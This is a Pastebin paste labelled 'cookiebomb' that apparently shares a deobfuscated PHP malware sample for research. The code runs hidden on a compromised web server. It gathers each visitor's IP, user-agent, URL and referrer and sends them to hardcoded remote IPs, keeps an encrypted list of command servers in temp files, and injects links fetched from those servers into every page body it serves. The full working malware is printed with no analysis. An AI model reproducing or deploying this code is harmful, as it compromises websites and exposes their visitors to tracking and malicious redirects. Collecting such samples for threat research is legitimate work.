Kafeine

cookiebomb

Jan 30th, 2014
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  error_reporting(0);
  2.  if (!function_exists("ZM5j2q0shf_pirogok")) {
  3.      function ZM5j2q0shf_pirogok() {
  4.          return false;
  5.      }
  6.  
  7.      function Uno_decode($String) {
  8.          $String = base64_decode($String);
  9.          $Salt = "dc5p9dOpBc";
  10.          $StrLen = strlen($String);
  11.          $Seq = "DMEf5HZuPq";
  12.          $Gamma = "";
  13.          while (strlen($Gamma) < $StrLen) {
  14.              $Seq = pack("H*", sha1($Gamma.$Seq.$Salt));
  15.              $Gamma. = substr($Seq, 0, 8);
  16.          }
  17.          return $String ^ $Gamma;
  18.      }
  19.  
  20.      function get_t_dir_mass() {
  21.          if (function_exists("sys_get_temp_dir")) {
  22.              if (@is_writeable(sys_get_temp_dir())) {
  23.                  $res[] = realpath(sys_get_temp_dir());
  24.              }
  25.          }
  26.          if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
  27.              $res[] = realpath($_ENV["TMP"]);
  28.          }
  29.          if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
  30.              $res[] = realpath($_ENV["TMPDIR"]);
  31.          }
  32.          if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
  33.              $res[] = realpath($_ENV["TEMP"]);
  34.          }
  35.          $tempfile = @tempnam(__FILE__, "");
  36.          if (@file_exists($tempfile)) {@
  37.              unlink($tempfile);
  38.              if (@is_writeable(realpath(dirname($tempfile)))) {
  39.                  $res[] = realpath(dirname($tempfile));
  40.              }
  41.          }
  42.          if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
  43.              $res[] = realpath(@ini_get("upload_tmp_dir"));
  44.          }
  45.          if (@is_writeable(realpath(session_save_path()))) {
  46.              $res[] = realpath(session_save_path());
  47.          }
  48.          if (@is_writeable(realpath(dirname(__FILE__)))) {
  49.              $res[] = realpath(dirname(__FILE__));
  50.          }
  51.          return array_unique($res);
  52.      }
  53.  
  54.      function get_ua() {
  55.          $name = get_true_name();
  56.          foreach(get_t_dir_mass() as $t) {
  57.              if (file_exists($t.DIRECTORY_SEPARATOR.$name)) {
  58.                  foreach(file($t.DIRECTORY_SEPARATOR.$name) as $tt) {
  59.                      $tt = Uno_decode($tt);
  60.                      if (strpos($tt, ".") === false) {
  61.                          $tmp = explode("|", $tt);
  62.                          foreach($tmp as $u) {
  63.                              $know[] = trim($u);
  64.                          }
  65.                      }
  66.                  }
  67.              }
  68.          }
  69.          if (count($know) == 0) {
  70.              $know[] = "msie";
  71.              $know[] = "firefox";
  72.              $know[] = "googlebot";
  73.          }
  74.          return array_unique($know);
  75.      }
  76.  
  77.      function get_true_name() {
  78.          return ".. ";
  79.      }
  80.  
  81.      function strposa($haystack, $needle, $offset = 0) {
  82.          if (!is_array($needle)) $needle = array($needle);
  83.          foreach($needle as $query) {
  84.              if (strpos($haystack, $query, $offset) !== false) return true;
  85.          }
  86.          return false;
  87.      }
  88.      if (isset($_SERVER["HTTP_USER_AGENT"])) {
  89.          $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  90.          $true_ua = get_ua();
  91.          if (strposa($ua, $true_ua)) {
  92.              function t_dir() {
  93.                  if (function_exists("sys_get_temp_dir")) {
  94.                      if (@is_writeable(sys_get_temp_dir())) {
  95.                          return realpath(sys_get_temp_dir());
  96.                      }
  97.                  }
  98.                  if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
  99.                      return realpath($_ENV["TMP"]);
  100.                  }
  101.                  if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
  102.                      return realpath($_ENV["TMPDIR"]);
  103.                  }
  104.                  if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
  105.                      return realpath($_ENV["TEMP"]);
  106.                  }
  107.                  $tempfile = @tempnam(__FILE__, "");
  108.                  if (@file_exists($tempfile)) {@
  109.                      unlink($tempfile);
  110.                      if (@is_writeable(realpath(dirname($tempfile)))) {
  111.                          return realpath(dirname($tempfile));
  112.                      }
  113.                  }
  114.                  if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
  115.                      return realpath(@ini_get("upload_tmp_dir"));
  116.                  }
  117.                  if (@is_writeable(realpath(session_save_path()))) {
  118.                      return realpath(session_save_path());
  119.                  }
  120.                  if (@is_writeable(realpath(dirname(__FILE__)))) {
  121.                      return realpath(dirname(__FILE__));
  122.                  }
  123.                  return null;
  124.              }
  125.  
  126.              function get_know_ip() {
  127.                  $know[] = "151.236.14.86";
  128.                  $know[] = "149.154.157.133";
  129.                  $know[] = "37.235.54.48";
  130.                  $know[] = "31.215.205.196";
  131.                  $name = get_true_name();
  132.                  foreach(get_t_dir_mass() as $t) {
  133.                      if (file_exists($t.DIRECTORY_SEPARATOR.$name)) {
  134.                          foreach(file($t.DIRECTORY_SEPARATOR.$name) as $tt) {
  135.                              $tt = Uno_decode($tt);
  136.                              if (strpos($tt, ".") > 0) {
  137.                                  $know[] = trim($tt);
  138.                              }
  139.                          }
  140.                      }
  141.                  }
  142.                  return array_unique($know);
  143.              }
  144.  
  145.              function save_know_ip($ip) {
  146.                  $name = get_true_name();
  147.                  $content = implode(PHP_EOL, $ip);
  148.                  foreach(get_t_dir_mass() as $t) {
  149.                      $f = fopen($t.DIRECTORY_SEPARATOR.$name, "w");
  150.                      fputs($f, $content);
  151.                      fclose($f);
  152.                  }
  153.              }
  154.  
  155.              function ZM5j2q0shf_get_real_ip() {
  156.                  $proxy_headers = array("CLIENT_IP", "FORWARDED", "FORWARDED_FOR", "FORWARDED_FOR_IP", "HTTP_CLIENT_IP", "HTTP_FORWARDED", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR", "HTTP_PROXY_CONNECTION", "HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP", "HTTP_X_IMFORWARDS", "HTTP_XROXY_CONNECTION", "VIA", "X_FORWARDED", "X_FORWARDED_FOR");
  157.                  foreach($proxy_headers as $proxy_header) {
  158.                      if (isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])) {
  159.                          return $_SERVER[$proxy_header];
  160.                      } else if (stristr(",", $_SERVER[$proxy_header]) !== FALSE) {
  161.                          $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header])));
  162.                          if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp);
  163.                          if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp)) return $proxy_header_temp;
  164.                      }
  165.                  }
  166.                  return $_SERVER["REMOTE_ADDR"];
  167.              }
  168.  
  169.              function ZM5j2q0shf_get_url() {
  170.                  $url = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
  171.                  if (strpos($url, "?") !== false) {
  172.                      $url = substr($url, 0, strpos($url, "?"));
  173.                  }
  174.                  return $url;
  175.              }
  176.  
  177.              function ZM5j2q0shf_get_contents($ip, $page) {
  178.                  if (function_exists("curl_init")) {
  179.                      $ch = curl_init("http://".$ip.
  180.                          "/".$page);
  181.                      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  182.                      curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  183.                      $ult = trim(curl_exec($ch));
  184.                      return $ult;
  185.                  }
  186.                  if (ini_get("allow_url_fopen")) {
  187.                      $ult = trim(@file_get_contents("http://".$ip.
  188.                          "/".$page));
  189.                      return $ult;
  190.                  }
  191.                  $fp = fsockopen($ip, 80, $errno, $errstr, 30);
  192.                  if ($fp) {
  193.                      $out = "GET $page HTTP/1.0\r\n";
  194.                      $out. = "Host: $ip\r\n";
  195.                      $out. = "Connection: Close\r\n\r\n";
  196.                      fwrite($fp, $out);
  197.                      $ret = "";
  198.                      while (!feof($fp)) {
  199.                          $ret. = fgets($fp, 128);
  200.                      }
  201.                      fclose($fp);
  202.                      $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
  203.                  }
  204.                  return $ult;
  205.              }
  206.  
  207.              function ZM5j2q0shf_samui_get_links() {
  208.                  $all = get_know_ip();
  209.                  shuffle($all);
  210.                  $url = ZM5j2q0shf_get_url();
  211.                  $real_ip = ZM5j2q0shf_get_real_ip();
  212.                  $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  213.                  $aid = "1001";
  214.                  $cod = md5($url.time());
  215.                  $check = md5($cod);
  216.                  $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  217.                  $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"]));
  218.                  $page = "/ml.php?mother=www.hdpengineering.com&cr=1&aid=".$aid.
  219.                  "&url=".$url.
  220.                  "&ip=".$real_ip.
  221.                  "&ua=".$ua.
  222.                  "&cod=".$cod.
  223.                  "&ref=".$ref;
  224.                  foreach($all as $ip) {
  225.                      $tc = ZM5j2q0shf_get_contents(trim($ip), $page);
  226.                      $pos = strpos($tc, $check);
  227.                      if ($pos !== false) {
  228.                          $proxy_list = substr($tc, 0, $pos);
  229.                          save_know_ip(explode("\n", $proxy_list));
  230.                          $links = substr($tc, $pos + 32);
  231.                          return $links;
  232.                      }
  233.                  }
  234.              }
  235.  
  236.              function ZM5j2q0shf_mod_con($con) {
  237.                  if (strpos($con, "<body") !== false) {
  238.                      $text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".ZM5j2q0shf_samui_get_links(), $con, 1);
  239.                      return $text;
  240.                  } else {
  241.                      return $con;
  242.                  }
  243.              }
  244.  
  245.              function ZM5j2q0shf_callback($buf) {
  246.                  if (headers_sent()) {
  247.                      if (in_array("Content-Encoding: gzip", headers_list())) {
  248.                          $tmpfname = tempnam(t_dir(), "FOO");
  249.                          $zf = fopen($tmpfname, "w");
  250.                          fputs($zf, $buf);
  251.                          fclose($zf);
  252.                          $zd = gzopen($tmpfname, "r");
  253.                          $contents = gzread($zd, 10000000);
  254.                          $contents = ZM5j2q0shf_mod_con($contents);
  255.                          gzclose($zd);
  256.                          unlink($tmpfname);
  257.                          $contents = gzencode($contents);
  258.                      } else {
  259.                          $contents = ZM5j2q0shf_mod_con($buf);
  260.                      }
  261.                  } else {
  262.                      $contents = ZM5j2q0shf_mod_con($buf);
  263.                  }
  264.                  return ($contents);
  265.              }
  266.              ob_start("ZM5j2q0shf_callback");
  267.          }
  268.      }
  269.  }
Advertisement
Add Comment
Please, Sign In to add comment